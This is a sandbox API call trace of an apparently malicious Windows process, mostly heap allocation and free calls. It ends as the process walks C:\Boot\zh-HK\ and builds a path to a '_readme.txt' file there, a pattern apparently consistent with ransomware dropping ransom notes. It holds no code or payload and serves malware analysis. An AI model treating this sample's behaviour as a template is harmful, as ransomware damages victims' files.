HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.719] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.720] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.721] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.722] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.723] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.723] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.724] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.724] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.725] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.725] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.725] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.725] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.725] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.725] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.725] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.725] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.725] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.725] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.725] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.725] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.725] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.725] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.725] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.725] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.725] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.725] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.725] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.725] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.725] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.725] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.725] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.725] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.725] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.725] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.725] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.725] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.725] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.725] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.725] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.725] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.725] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.725] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.725] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.726] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.726] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.726] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.726] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.726] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.726] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.726] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.726] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.726] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.726] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.726] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.726] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.726] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.726] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.726] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.726] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.726] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.726] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.726] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.726] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.726] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.726] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.726] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.726] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.726] PathFindFileNameW (pszPath="C:\\Boot\\zh-HK\\") returned="zh-HK\\" [0119.726] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.726] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.726] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.726] PathFindFileNameW (pszPath="") returned="" [0119.726] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.726] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.727] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.727] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x800) returned 0x3092b80 [0119.727] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.727] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x307f550 [0119.727] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.727] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.727] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0119.727] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.727] PathFileExistsW 